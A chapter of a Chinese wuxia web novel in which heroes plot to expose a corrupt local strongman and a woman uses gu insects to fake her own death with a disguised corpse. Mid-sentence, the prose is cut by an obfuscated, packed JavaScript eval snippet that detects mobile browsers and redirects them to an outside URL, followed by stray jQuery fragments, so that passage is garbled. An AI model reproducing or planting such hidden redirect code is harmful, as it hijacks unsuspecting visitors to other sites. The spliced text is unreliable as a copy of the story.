26. 汾滨城谜案11

作品:《我要这剧情有何用

    接下来的半个时辰,堂内落针可闻。


    那名村民将杨祖全这些年所作恶行一一道来,一直讲到半月前梅家灭门与蒋大通被冤入狱。


    听闻这些,众人无不震惊,未曾料到真相竟如此触目惊心。


    此事已绝不止花魁之死这么简单了!


    在座的尽是些嫉恶如仇的侠义之士,此刻皆心绪难平,蠢蠢欲动,恨不得立时做些什么。


    肖鹏心中同样怒火中烧,但一头乱麻。


    要如何做呢?杀到杨府?


    他扫视一圈,得出结论:也不是不行。


    这时他余光瞥见南宫连朔似乎欲言又止,于是出声问道:“南宫兄有话?但讲无妨。”


    南宫连朔又默了一遍措辞,道:


    “杨祖全固然罪大恶极,千刀万剐也不为过。然而,若非有官府在背后撑腰,他也不可能嚣张至此。大家方才都已看过那本行贿记簿,其中牵连之广,实在令人心惊。若我们只是简单地杀掉一个杨祖全,那地下枉死的冤魂又怎能安息?罩在汾滨城头上的乌云也永远都散不去。”


    众人闻言,皆深以为然,纷纷点头表示赞同。


    楚威道:“那依南宫兄之见,咱们应当如何应对?”


    “将此事闹大。”南宫连朔眸色凛然:“索性现下汾滨城中还逗留着许多外城人,那我们就更要借此机会将此事闹得沸沸扬扬。官府不是要替杨祖全遮掩吗?咱们手中有铁证、有人命,若是能将此事闹得满城风雨、民怨四起,甚至是激起民变,看他们还如何继续遮掩下去!”


    此言一出,无需多加思考,大家都觉此理颇通。


    方才发言的那名村民自言姓刘,此时默默举起右手。肖鹏见状不知是何意思:“刘叔,您这是……?”


    刘叔坚定道:“我们也想出一份力!”


    “这……太危险了,此事我们来办就好。”


    “对呀,刘叔。若是和官府起了冲突,难免要动刀枪的。”


    四下皆是劝阻之语,那刘叔却走至中央,神色决绝悲怆:“诸位义士,我妹妹,我的亲妹妹!五年前被杨祖全抢进府中,我连她的尸首都没见到哇!这仇不能光靠你们,我们也得自己来报!”


    村民们闻言纷纷附和,情绪异常激昂。


    肖鹏默了默,最终拍板道:“好,那咱们便共取贼首!”


    一名稍年轻的小伙说:“我同蒋大通参加过几次潜逃议事,其他村的人头都熟。我去联络,他们一定也想参加!”


    之后众人商量出一套完整计策,决定两人一组,护送村里人头熟的村民去其他四个村庄。


    剩下的人带上一些村民去城里采购明日所需之物以及寿材。


    “我在村内留守。”南宫连朔主动道。


    肖鹏没多想,点头同意。


    此时已近午时,众人当即顶着日头出发。


    南宫连朔在大家离开之后,见四下无人,抬脚向停放花魁尸首的屋舍走去。


    不想方迈进屋门,迎面撞上一干瘦婶子。


    那婶子显然吓了一跳,双手局促地交叠紧握,眼神中透露出一丝做错事的忐忑。


    南宫连朔略扫一眼屋内,心下有数,遂温和道:“在下南宫连朔,现下已近食时,不如您先去用些饭?这里交由我来照看即可。”


    婶子抬头又低下,支支吾吾:“我是看、我是看那姑娘实在可怜,就从家里拿了干净衣服给她换上……”


    不仅如此,李师师脸上同身上的血污也尽被擦拭干净。


    不等南宫连朔出言安抚,


    “娘!饭做好了,我给你……”一名小女孩风风火火地跑进来,见有生人,话头顿时噎住。


    她倒不认生,反而仰头就这么盯着南宫连朔看。南宫连朔被盯得有些不好意思,微微转过脸去。


    女孩就跟着转着看。


    “哎呀!”婶子一把将女孩拽到身前:“你来这儿做啥!”


    女孩目光不离,嘴却不影响回话:“我来给你送饭嘛。”


    说着,她手里的碗露了出来,里面装着水煮野菜。难怪堂内飘着股清新草香。


    婶子俯身接过碗,似有犹豫,最后还是迟疑递出:“你还没吃饭吧?我们这穷乡僻壤的,实在没什么像样的东西招待。来,不嫌弃的话,就吃点这个。”


    原来是羞赧饭食粗陋。


    “那您……”


    婶子笑道:“我和她回去吃!”


    接过碗,南宫连朔道声谢,婶子拉着女孩出门,没走两步又折回来:“对了,我姓蒋,叫蒋秋,要是有啥事你来找蒋婶就行!”


    “好。”


    两人出了门,那女孩一步三回头,直到走出很远,还能听见她清脆的声音:“娘,那个哥哥可真好看呐!”


    待她们二人走远,南宫连朔随手搁下碗,又出门绕屋巡视一圈,确定附近无人,才返回屋内。


    “出来吧。”


    门口应声闪身进来一人,若是肖鹏等人在此必定能认出——这不正是是严云吗?


    他左肩扛着一颇大的布袋子,右肩背一行囊。进了门后将东西靠边轻放在地上,随后走至李师师身侧,对南宫连朔道:“看着点。”


    对方点点头,守在门口,随时注意是否有人靠近。


    严云从怀中掏出一小瓷瓶,拔开瓶塞,将瓶口对准李师师的鼻孔来回轻微晃动,一股微酸之气丝丝冒出。


    半晌,只见一条极长的血红蠕虫从李师师鼻内慢吞吞爬出,探头探脑地在瓶口徘徊。严云耐心地等待着,直到蠕虫完全钻入瓶中,他才迅速盖上瓶塞,那股酸味也随之消散。


    几乎是在同时,李师师双目瞬睁,长吸一口气,猛地坐直身子。


    不过一次呼吸,她浑身冷汗如雨下,背后的衣服已完全濡湿,紧紧贴在肌肤上。


    李遇大口喘息,捧着额头,好半天才缓过神。


    南宫连朔也顾不上守门了,与“严云”一同蹲在床边,两双眼睛满是紧张之色,齐齐目不转睛地盯着她。


    “怎么样?”南宫连朔急切问道。


    李遇捏捏眉心,又掐掐人中,总结道:“这玩意轻易别用。”


    瘆人!


    对于一个曾经经历过死亡的人来说,这种体验简直如同昨日再现,完全还原了当时的恐惧与无助!


    不适暂压,她这才有余暇扭头看向两人,手指向“严云”,疑惑问道:“你怎么还戴着这个?”她指的是蒙面。


    “严云”瞧着她面色苍白,心中酸楚,忍了又忍,最后还是没忍住诨道:“神秘。”


    “……”李遇挠挠眉头,觉得又好气又好笑。


    但现在也没工夫跟他拌嘴,“快快快。”说着李遇站起身,指挥两人。


    神秘的“严云”将布袋子提到床边,打开袋口,从里面搬出一具与她身量相仿的女尸,小心翼翼地将其放置在原先李遇躺卧的位置。


    这女尸是他去一处偏远义庄上赎出来的。


    说是赎,其实就是买。


    一些既没钱,又无亲无友的人死后,其尸体常被安置在义庄中暂存。若是一段时间内既无人赎,也无人领,就会被偷偷丢进乱葬岗。


    这义庄说起来也是由官府设立的公益机构,但这种不成文的做法却早已被默许。


    相较于男尸,女尸被丢弃至乱葬岗的情况较少。因为一向有许多人家会来义庄挑选,赎走以配冥婚,很难说清幸与不幸。


    三人一字排开,齐整整给女尸鞠了一躬。李遇捡起地上的行囊,道:“你俩先出去,在门口守着。”


    两人顺从出门,背对屋内,门神似的一左一右。


    待换过衣物,又将蒋婶家的衣服给女尸穿戴整齐,她回头扬声:“好了,进来吧。”此时,她手里还在给女尸梳着头,又补充道:“黎崇,把我让你带的那个瓶子递给我。”


    “严云”从怀里掏出拇指大的木瓶,放在李遇手心。


    这枚木瓶虽小,却透着几分奇异。


    瓶身之上,雕刻繁复华丽,金银镶嵌熠熠生辉,就连那瓶口的瓶塞,也是颗指节大小的红宝石。然而令人诧异的是,瓶身的材质乍一看去,不过是寻常可见的廉价榆木。


    李遇手持银针,小心戳破瓶口周遭的蜡封,随后缓缓拔开瓶塞。


    只见一只绿豆般的甲虫从瓶口探出头来,她再次挥动银针,刺破指尖,将一滴鲜血喂给了甲虫。


    甲虫吸食完鲜血,搓搓前足,展翅高飞,径直落在了李遇的脸上,从上至下,每一寸皮肤都细细爬过。


    一旁观看的“严云”见状麻得抖了下身子,低声对南宫连朔道:“知道我为什么不学蛊术了吧?”


    南宫连朔赞成地点点头。


    这边绿豆甲虫爬过一遍,被李遇伸手捏起,放到女尸脸上。


    甲虫原地打了个圈,用口器咬破女尸皮肤,呲溜一下,钻了进去。


    紧接着,一个肉眼可见的凸起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14023924|145301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在女尸的皮肤下缓缓移动,直至额头顶部。与先前一般无二,这凸起由上至下不断往返。凡是甲虫在皮下走过的地方,女尸的面容竟逐渐变得与李遇一模一样!


    “严云”咧着嘴,再次低声道:“知道我为什么不学蛊术了吧?!!”


    南宫连朔深为赞成地点点头。


    直至女尸的脸庞与李遇再无半分差别,那甲虫才一路沿着下颌,爬到了耳后的头皮里,只听“啵”的一声轻响,又打了个洞钻了出来。


    那甲虫完成任务后,与进去时两幅模样。鞘翅暗淡无光,整个虫蔫头搭脑,仿佛损耗过度。


    李遇轻轻伸手,将瓶口紧贴女尸耳后,甲虫拖着疲惫慢慢爬回。


    她盖好瓶塞,横了对面两人一眼:“用人家还说人家坏话。”看给我小翠累的。


    对面两人无言以对。


    不知是出于什么心理,“严云”凑过来问道:“‘人家’指的是蛊还是你?”


    “蛊!!!”


    “嘘!”南宫连朔忙打断,疾步走到门口探头左右看看,才放下心来。


    李遇尴尬地深觉此地不宜久留,于是催促“严云”收拾上东西,走时不忘交代南宫连朔:“我俩先走,晚上在客栈集合。”


    他们前脚走,蒋婶后脚回来。


    一进门就看见被搁在旁边一筷子没动的野菜。


    “不好吃吗?”蒋婶是个心里藏不住事的人。


    南宫连朔这才想起来,忙道:“不是,是我……我在这屋里吃不下,但又不放心!您回来了,我这就去院里吃。”


    蒋婶没觉得什么不对,笑得和气:“没事没事,这有我呢,你回祠堂吃吧!”


    说完又觉得祠堂也没比这好到哪去,改口道:“要不去我家吃?”我家既没尸体,也没牌位。


    南宫连朔客气道:“不用,我在院里吃就行。”他顺手端起碗,走到院子里三两下扒拉完,同蒋婶打过招呼,回了祠堂。


    直到天色黑透众人才陆续归来,大家面上阴云比出发时少些,看来事情办的都算顺利。


    几户人家搬来些竹床,以充作桌椅。


    几个自认字迹还过得去眼的,借着皎洁月光,在外头忙着抄写簿册——他们未曾料到,这村里竟连一滴灯油也寻不着,而村民们也因多年未曾使用,早已将此事抛诸脑后。


    许峰成才抄几页,耐心便告罄,挠挠头开始走神。他左右瞟几眼,双眉一扬,凑到南宫连朔身边:“南宫兄你这字可以呀!”


    “许兄谬赞了。”南宫连朔颇为腼腆。


    纸上字字遒劲,力透纸背。就算是许峰成这样肚子里没几两墨水、少时日日被先生打手尺的,都能一眼看出这字不一般。


    “南宫兄师从何人?”他随口问道。


    “鸡蛋先生。”


    “谁?!”


    这个名字确实有些难以启齿。可是没办法,南宫连朔一共两个老师,武学师父说名字醉得忘了,而教书先生则因收取鸡蛋作为学费,故而让学生称他作鸡蛋先生。


    其实,南宫连朔心里还暗自庆幸,毕竟他是牧驴子来抵学费的,先生幸好没有让他改口叫驴子先生。


    几人抄了小半宿,抄到最后簿子上的字开始乱爬才勉强抄完。


    肖鹏一本一本翻过,也就南宫连朔的从头到尾工工整整,甚至……甚至还带点观赏价值?其他人的越到后面越惨不忍睹,勉强称得上是——一个字一个字抠,好歹能辨认的程度。


    行!只要能看明白写的啥就行!


    揣着八本宏作,堂内挤挤巴巴五张竹床,月光浅扫入内,大家连一丈外是谁都看不清。


    这场议事略显草率。


    “诸位,咱们现在手里有四套抄本,为防万一,需要四个人带着抄本先行离开。此项任务艰巨,如若明日起事发生变故,原本被毁,携带抄本的人不仅会面临追杀,还需肩负起重任,前往京城再次上告。请问哪位英雄愿意自告奋勇?”听声音,大家能辨得出讲话的是肖鹏。


    “我来!”几声自荐。


    谁?谁在讲话?


    虽能听出方位,但众人相处时日尚短,还谈不上熟悉。


    肖鹏有些尴尬,找补道:“好!自愿的义士请站到中央。”


    影影绰绰七八个人。


    他又说:“留下来的人也并不轻松,毕竟谁也不知明日究竟会是何情况,所以……”


    几人犹豫一瞬,返回座位,正好剩下四人。